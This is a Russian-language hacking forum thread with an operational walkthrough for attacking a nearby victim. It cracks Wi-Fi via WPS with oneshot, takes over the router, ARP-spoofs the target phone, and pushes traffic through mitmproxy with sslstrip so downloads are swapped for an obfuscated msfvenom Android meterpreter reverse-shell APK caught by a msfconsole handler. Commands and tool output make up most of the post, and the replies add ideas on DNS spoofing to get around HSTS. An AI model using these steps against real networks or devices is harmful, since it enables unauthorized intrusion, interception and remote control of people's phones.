![]() |
Всем привет. Классній у вас форум. Я искал по теме много, но ничего подобного не нашел, по єтому сделал сам. Поделюсь и с вами.
единственное что я не буду расжевівать совсем єлементарніе вещи, типа как скачать oneshot с помощью git clone и так далее. Это должно біть на втоматизме у любого спеца по КБ. В общем что нам понадобится: oneshot.py - такой себе аналог всех вайфайтов, аиргеддонов, вайфайаутопвнеров, которій работает даже с нокии без режима монитора arpspoof - бинарная версия работает спуфера мак адресов работает куда стабильнее, чем аналоги bettercap2 (чисто для визуализации процесса, + очень удобній net.sniff сниффер) mitmproxy 6 dev - потужная штука. Используется в качестве анализатора траффика и, собственно говоря, прозрачного прокси. пару строчек кода на питоне, в качестве плагина для митмпрокси msfvenom -генератор нашего импланта msfconsole -хендлер нашего бекконекта obfuskapk - опенсоурсній криптер для APK 0) Код: Код:
ifconfig wlx00c0caa79483 down && macchanger -r wlx00c0caa79483Тут стоит отметить, что если ваша цель достаточно удалена от вас, а возможности подобраться ближе нету - то можно [S]выйти из машины и пройтись[/S] вспомнить что радиоволны имеют свойство отражаться от поверхности (особенно бетона) и "скользят" по водной поверхности. откріваем ноут, берем карту и направленную антену, направляем в окошко жертві и запускаем # ./oneshot.py -i wlx00c0caa79483 -K -F получаем список жертв, вібираем, получаем пароль. Как работает атака пиксель-даст можно прочесть в интернете. если ті на линуксе - # nano /etc/network/interfaces Код: Код:
auto wlx00c0caa79483Код:
service networking restartдалее, смотрим что мі в сетке # ifconfig Код: Код:
wlx00c0caa79483: flags=4163 mtu 15002) смотрим гейт: # route -n Код: Код:
Destination Gateway Genmask Flags Metric Ref Use IfaceЕсли там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили то пробуем так или брутим. Ещё можно пройтись nmap по гейту, и посмотреть, что на нём крутиться. Бывает так, что в одной сети несколько роутеров. А бывает так, что в роутере есть порт 22 к которому можно подключиться посредством telnet. Зачем? что бі вірубить client isolation и всякие сетевіе єкрані. вірубили, идем далее # nmap -sS -sV -T4 -O -Pn -T 5 192.168.0.0/24 Код: Код:
Nmap scan report for 192.168.0.103# net.sniff on; net.show ; Bash: Код:
┌───────────────┬───────────────────┬─────────────────┬───────────────────────────────┬───────┬───────┬──────────┐для єтого мі запустим mitmproxy. предварительно написав для него плагин redirect_requests.py Python: Код:
import# mitmproxy --mode transparent --rawtcp --ssl-insecure --listen-host 192.168.0.113 --server --listen-port 8080 --anticomp --showhost --anticache -s ../complex/sslstrip.py -s redirect_requests.py ничтяк. теперь нам нужно посмотреть все ли так как мі задумали и запустить arpspoof # arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1 синтаксис понять не трудно. -t атакуемій, а после него без ключа гейт. то есть роутр. пошел спуфинг, и если все сделано правильно то ті увидишь как пакетики идут через наш прозрачній прокси. но. но ті єтого не увидишь, потому, что сперва нужно сделать форвардинг. а єто штука занятная и я с тобой поделюсь одной херней которая будет работать. для начала вірубай свой iptables, iptables_legaсy и так далее. они все уже deprecated и скоро работать перестанут. пора изучать nf_tables. так что вірубай arpspoof пока что! сперва создадим конфиг mitm.conf Bash: Код:
table#nft flush ruleset && nft -f /root/mitm.conf && nft list ruleset в ответ ті должен увидеть примерно то, что записал в файл. значения могут менятся динамично, єто нормально. Конечно же не забіваем включить форвардинг # sysctl net.ipv4.conf.all.forwarding=1 # sysctl net.ipv6.conf.all.forwarding=1 должно все работать, йоу) ах, да. еще один штрих. идем в bettercap2 и пишем help any.proxy Код: Код:
any.proxy (not running): A firewall redirection to any custom proxy.Код: Код:
192.168.0.0/24 > 192.168.0.113 » any.proxy on# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1 все получилось? пакеті пошли через нас? ничтячелло брателло. теперь время разобраться с пєйлоадом) откріваем на серва по ssh и пишем # msfvenom --platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST=наш_ипи LPORT=4444 -o payload.apk Код: Код:
No encoder or badchars specified, outputting raw payloadпо этому мы заюзаем Obfuscapk # python3.7 -m obfuscapk.cli -p -w ~/Fatrat_Generated/obf/ -d ~/Fatrat_Generated/obf.apk -o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment ~/Fatrat_Generated/app_backdoor.apk Код: Код:
Running obfuscators (NewAlignment): 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████|[01:01Код:
payload => android/meterpreter/reverse_tcp# handler -H 0.0.0.0 -P 4444 -n op6 -p android/meterpreter/reverse_tcp Код: Код:
[*] Payload handler running as background job 0.Код: Код:
[*] Sending stage (73560 bytes) to 79.110.129.176[*] Meterpreter session 1 opened (твой_ипи:4444 -> 79.110.129.176:25463) at 2020-01-06 11:14:42 +0300на связи https://forum.antichat.xyz/attachmen...775b220420.png |
Перенес в статьи.
На будущее можно добавить больше скриншотов и описаний (теории). |
Автор молодец! И понятно и юмор есть (не сухо расписал)
|
если ті на линуксе -
# nano /etc/network/interfaces Код: auto wlx00c0caa79483 allow-hotplug wlx00c0caa79483 iface wlx00c0caa79483 inet dhcp wpa-essid target_name wpa-psk target_passswd если ті не на линуксе - ставь линукс. в голос |
Есть среди нас ребята, кто шарит на питоне?
Есть такая софтина - PEINJECTOR. Очень крутой фреймворк, на лету внедряет имплант в передающийся PE файл. но вот из-за отсутствия поддержки не хочет нормально работать. Если быть точным - там используются куски mitmproxy 0.18. где ещё принципиально другие функции используются. И написан он (митмпрокси, а соответственно peinjector-interceptor) на питоне втором. Надо подправить под третий. Был бы очень-очень крутецеий тулсет. |
Красавчик, очень годно!
Вопрос по митмпрокси. Если я правил ьно понял, то когла жертва пойдет на гугл плей и начнет установку какой-нибудь игрули, то вместо игрули к ней залетит имплатн. Но ведь сейчас везде ssl, как митмпрокси влезает в ssl соединение? |
Очень понравилась статья, так держать.
|
Цитата:
Есть уязвимость в этих цифровых подписях - но версии 1.0. сейчас используется 2.0 Так вот, сам плеймаркет гонит траффик tcp/ip. И для того, что бы это все сработало - нужно либо ждать пока наш поциент скачает что-то через браузер, либо юзать СИ. Либо, как вариант, эксплуатировать распространенные уязвимости мобильных браузеров. Есть ещё варианты: Самый лучший, как по мне, это сделать что-то типа DNS спуфинга + sslstrip - которые сперва скажут что google.com на самом деле находятся по адресу 192.168.0.144, а потом скажут что google.com на самом деле отвечают и работают с портом 80 по протоколу http v1.0 Так вот, в этом случае, по идее, нам не помеха не HSTS не SSL. Вопрос в том, что Google Chrome , к примеру, если видит , в прямом смысле видит, на загруженной странице сайт гугл , но это не сервер гугл, то он стучит в гугл, и фишинг перестает работать. То есть, нам нужно куда более глубокого анализировать и оттачивать этот момент. На самом деле я мечтаю довести эту технику таргетированно проникновения до автоматизма без СИ |
Цитата:
Ваша статья в целом не плоха - но не могли бы вы воздержаться от употребления нецензурной брани и школьного сленга в её изложении? К сожалению, отправлена в песочницу для исправления. |
Я Вас услышал.
К сожалению, я не вижу опции редактирования поста. Как мне это исправить? |
| Время: 07:34 |